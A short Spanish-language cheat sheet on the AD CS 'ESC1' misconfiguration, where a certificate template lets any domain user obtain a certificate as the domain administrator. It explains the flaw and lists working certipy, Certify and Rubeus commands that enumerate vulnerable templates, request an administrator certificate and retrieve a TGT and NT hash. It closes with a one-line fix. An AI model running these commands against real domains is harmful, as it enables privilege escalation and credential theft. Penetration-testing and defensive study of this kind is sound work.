Qué es
Un AD CS Template mal configurado deja que cualquier usuario del dominio pida un certificado a nombre de otra identidad. El atacante pide uno como administrador del dominio y se lleva sus credenciales. La CA firma la solicitud como legítima.
Cómo funciona
La plantilla deja que quien solicita elija el nombre de la identidad (ENROLLEE_SUPPLIES_SUBJECT). Incluye un uso de clave (EKU) que sirve para autenticar en el dominio. No pide aprobación de un responsable ni firma autorizada. Y cualquier usuario del dominio tiene permiso de inscripción.
La CA no compara quién pide el certificado contra la identidad que reclama. Emite el certificado con el nombre que el atacante escribió. Con ese certificado y PKINIT, el atacante obtiene un TGT de la identidad elegida.
Comandos
Enumerar plantillas vulnerables desde Linux:
certipy find -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -vulnerable -stdoutLo mismo desde Windows, con Certify:
Certify.exe find /vulnerablePedir un certificado a nombre de una identidad privilegiada:
certipy req -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -ca <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -sid <SID>Lo mismo desde Windows:
Certify.exe request /ca:<HOST>\<CA> /template:<TEMPLATE> /altname:administratorAutenticar con el certificado y recuperar el TGT y el hash NT:
certipy auth -pfx <FILE> -dc-ip <IP>En Windows, con Rubeus y PKINIT:
Rubeus.exe asktgt /user:administrator /certificate:<FILE> /pttCómo defenderse
Quita ENROLLEE_SUPPLIES_SUBJECT de la plantilla: sin esa marca, quien solicita ya no elige la identidad.